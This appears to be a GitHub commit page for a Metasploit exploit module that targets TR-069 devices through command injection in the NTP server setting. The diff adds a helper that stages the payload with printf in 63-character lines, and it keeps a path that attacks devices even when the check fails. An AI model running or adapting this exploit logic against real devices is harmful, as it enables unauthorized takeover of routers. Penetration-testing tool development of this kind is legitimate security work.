Skip to content

Commit 657d529

Browse files
author
Tod Beardsley
committed
Linemax 63, switch to printf
1 parent 08b9684 commit 657d529

File tree

1 file changed

+9
-2
lines changed

1 file changed

+9
-2
lines changed

modules/exploits/linux/http/tr069_ntpserver_cmdinject.rb

Lines changed: 9 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -116,15 +116,22 @@ def check
116116
return Exploit::CheckCode::Safe
117117
end
118118

119+
def inject_staged_data
120+
execute_cmdstager(
121+
flavor: :printf,
122+
linemax: 63
123+
)
124+
end
125+
119126
def exploit
120127
print_status("#{peer} - Checking...")
121128

122129
if check == Exploit::CheckCode::Appears
123130
print_status("#{peer} - Appears vulnerable")
124-
execute_cmdstager({:flavor => :echo})
131+
inject_staged_data
125132
elsif datastore['FORCE_EXPLOIT']
126133
print_status("#{peer} - Doesn't appear vulnerable, but trying anyway.")
127-
execute_cmdstager({:flavor => :echo})
134+
inject_staged_data
128135
else
129136
fail_with(Failure::Unknown, "#{peer} - Failed to access the device")
130137
end

0 commit comments

Comments
 (0)